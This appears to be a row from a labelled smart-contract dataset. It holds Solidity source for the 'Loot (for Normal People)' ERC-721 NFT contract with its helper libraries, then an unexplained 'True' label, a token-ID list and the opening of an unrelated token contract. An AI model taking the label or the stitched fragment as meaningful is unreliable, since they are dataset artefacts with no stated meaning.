(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract NLoot is ERC721Enumerable, ReentrancyGuard, Ownable {
using strings for string;
using strings for strings.slice;
string private constant weapons = "Lawn Mower,Shower Rod,Snowblower,Vacuum Cleaner,Frying Pan,Spatula,Fork,Spoon,Plunger,Butter Knife,Garden Hose,Watergun,Spray Cleaner,Spraypaint,Flip Phone,Tablet,Touchscreen Phone,Walkie Talkie";
uint256 private constant weaponsLength = 18;
string private constant chestArmor = "Divine Nightrobe,Fluffy Nightrobe,Fresh Nightrobe,Nightrobe,T-shirt,Turtleneck,Winter jacket,Extra-tight Yoga Jacket,Tight Yoga Jacket,Yoga Jacket,Hairy Bare Chest,Shaven Bare Chest,Tuxedo Jacket,Suit Jacket,Button-up Shirt";
uint256 private constant chestArmorLength = 15;
string private constant headArmor = "Bald,Cleansing Facemask,Mullet,Facemask,Balaclava,Fedora,Tuque,Scally Cap,Shower Cap,Baseball Cap,Bowlcut,Divine Nightcap,Fluffy Nightcap,Fresh Nightcap,Nightcap";
uint256 private constant headArmorLength = 15;
string private constant waistArmor = "Tuxedo Pants,Suit Pants,Pleated Pants,Jeans,Cargo Pants,Skinny Jeans,Snowpants,Extra-tight Yoga Pants,Tight Yoga Pants,Yoga Pants,Speedo,Tighty Whities,Boxers,Commando,Underwear";
uint256 private constant waistArmorLength = 15;
string private constant footArmor = "Barefoot,Dress Shoes,High Heels,Rubber Boots,Safety Boots,Crocs,Winter Boots,Extra-tight Yoga Socks,Tight Yoga Socks,Yoga Socks,Divine Slippers,Fluffy Slippers,Running Shoes,Basketball Shoes,Shoes";
uint256 private constant footArmorLength = 15;
string private constant handArmor = "Sock Puppets,Oven Mitts,Latex Gloves,Riding Gloves,Foam Finger,Clammy Hands,Mittens,Extra-Grippy Yoga Gloves,Grippy Yoga Gloves,Yoga Gloves,Divine Hands,Smooth Hands,Fresh Hands,Rough Hands,Nailpolish";
uint256 private constant handArmorLength = 15;
string private constant necklaces = "Necklace,Scarf,Bowtie";
uint256 private constant necklacesLength = 3;
string private constant rings = "Wedding Ring,Candy Ring,Watch,Smartwatch,Cufflinks";
uint256 private constant ringsLength = 5;
string private constant suffixes = "of Power,of Giants,of Titans,of Skill,of Perfection,of Brilliance,of Enlightenment,of Protection,of Anger,of Rage,of Fury,of Vitriol,of the Fox,of Detection,of Reflection,of the Twins";
uint256 private constant suffixesLength = 16;
string private constant namePrefixes = "Agony,Apocalypse,Armageddon,Beast,Behemoth,Blight,Blood,Bramble,Brimstone,Brood,Carrion,Cataclysm,Chimeric,Corpse,Corruption,Damnation,Death,Demon,Dire,Dragon,Dread,Doom,Dusk,Eagle,Empyrean,Fate,Foe,Gale,Ghoul,Gloom,Glyph,Golem,Grim,Hate,Havoc,Honour,Horror,Hypnotic,Kraken,Loath,Maelstrom,Mind,Miracle,Morbid,Oblivion,Onslaught,Pain,Pandemonium,Phoenix,Plague,Rage,Rapture,Rune,Skull,Sol,Soul,Sorrow,Spirit,Storm,Tempest,Torment,Vengeance,Victory,Viper,Vortex,Woe,Wrath,Light's,Shimmering";
uint256 private constant namePrefixesLength = 69;
string private constant nameSuffixes = "Bane,Root,Bite,Song,Roar,Grasp,Instrument,Glow,Bender,Shadow,Whisper,Shout,Growl,Tear,Peak,Form,Sun,Moon";
uint256 private constant nameSuffixesLength = 18;
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getWeapon(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "WEAPON", weapons, weaponsLength);
}
function getChest(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "CHEST", chestArmor, chestArmorLength);
}
function getHead(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "HEAD", headArmor, headArmorLength);
}
function getWaist(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "WAIST", waistArmor, waistArmorLength);
}
function getFoot(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "FOOT", footArmor, footArmorLength);
}
function getHand(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "HAND", handArmor, handArmorLength);
}
function getNeck(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "NECK", necklaces, necklacesLength);
}
function getRing(uint256 tokenId) public pure returns (string memory) {
return pluck(tokenId, "RING", rings, ringsLength);
}
function pluck(uint256 tokenId, string memory keyPrefix, string memory sourceCSV, uint256 sourceCSVLength) internal pure returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
string memory output = getItemFromCSV(sourceCSV, rand % sourceCSVLength);
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", getItemFromCSV(suffixes, rand % suffixesLength)));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = getItemFromCSV(namePrefixes, rand % namePrefixesLength);
name[1] = getItemFromCSV(nameSuffixes, rand % nameSuffixesLength);
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
} else {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function getItemFromCSV(string memory str, uint256 index) internal pure returns (string memory) {
strings.slice memory strSlice = str.toSlice();
string memory separatorStr = ",";
strings.slice memory separator = separatorStr.toSlice();
strings.slice memory item;
for (uint256 i = 0; i <= index; i++) {
item = strSlice.split(separator);
}
return item.toString();
}
function tokenURI(uint256 tokenId) override public pure returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getWeapon(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getChest(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getHead(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getWaist(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getFoot(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getHand(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getNeck(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getRing(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "Loot as we have seen it has always been for adventurers. In an increasingly online life (especially for NFT enthusiasts), Loot (for Normal People) reconnects us to the real world by instead supplying gear consisting of items from our modern everyday lives. You could be the proud owner of a Spatula of Anger +1! As with Loot (for Adventurers), stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot (for Normal People) in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 7778, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 7777 && tokenId < 8001, "Token ID invalid");
_safeMint(owner(), tokenId);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor() ERC721("Loot (for Normal People)", "NLOOT") Ownable() {}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
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1011,
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1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
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1030,
16475,
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1997,
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/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
/**
Update: Lets try again! Last one had major volume, few calls, telegram and lowered SELL TAX this time!
